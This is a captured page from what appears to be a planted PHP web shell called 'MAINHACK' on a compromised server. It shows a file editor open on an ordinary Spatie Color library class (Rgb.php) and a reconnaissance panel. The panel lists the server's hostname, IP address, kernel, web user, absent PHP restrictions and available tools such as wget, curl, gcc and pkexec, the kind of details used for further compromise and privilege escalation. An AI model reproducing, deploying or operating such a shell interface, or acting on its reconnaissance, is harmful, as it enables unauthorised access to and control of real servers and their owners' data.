[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Rgb.php
<?php namespace Spatie\Color; class Rgb implements Color { /** @var int */ protected $red; protected $green; protected $blue; public function __construct(int $red, int $green, int $blue) { Validate::rgbChannelValue($red, 'red'); Validate::rgbChannelValue($green, 'green'); Validate::rgbChannelValue($blue, 'blue'); $this->red = $red; $this->green = $green; $this->blue = $blue; } public static function fromString(string $string) { Validate::rgbColorString($string); $matches = null; preg_match('/rgb\( *(\d{1,3} *, *\d{1,3} *, *\d{1,3}) *\)/i', $string, $matches); $channels = explode(',', $matches[1]); [$red, $green, $blue] = array_map('trim', $channels); return new static($red, $green, $blue); } public function red(): int { return $this->red; } public function green(): int { return $this->green; } public function blue(): int { return $this->blue; } public function toCIELab(): CIELab { return $this->toXyz()->toCIELab(); } public function toCmyk(): Cmyk { list($cyan, $magenta, $yellow, $key) = Convert::rgbValueToCmyk($this->red, $this->green, $this->blue); return new Cmyk($cyan, $magenta, $yellow, $key); } public function toHex(?string $alpha = null): Hex { return new Hex( Convert::rgbChannelToHexChannel($this->red), Convert::rgbChannelToHexChannel($this->green), Convert::rgbChannelToHexChannel($this->blue), $alpha ?? 'ff' ); } public function toHsb(): Hsb { list($hue, $saturation, $brightness) = Convert::rgbValueToHsb($this->red, $this->green, $this->blue); return new Hsb($hue, $saturation, $brightness); } public function toHsl(): Hsl { [$hue, $saturation, $lightness] = Convert::rgbValueToHsl( $this->red, $this->green, $this->blue ); return new Hsl($hue, $saturation, $lightness); } public function toHsla(?float $alpha = null): Hsla { [$hue, $saturation, $lightness] = Convert::rgbValueToHsl( $this->red, $this->green, $this->blue ); return new Hsla($hue, $saturation, $lightness, $alpha ?? 1); } public function toRgb(): self { return new self($this->red, $this->green, $this->blue); } public function toRgba(?float $alpha = null): Rgba { return new Rgba($this->red, $this->green, $this->blue, $alpha ?? 1); } public function toXyz(): Xyz { [$x, $y, $z] = Convert::rgbValueToXyz( $this->red, $this->green, $this->blue ); return new Xyz($x, $y, $z); } public function __toString(): string { return "rgb({$this->red},{$this->green},{$this->blue})"; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.68 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002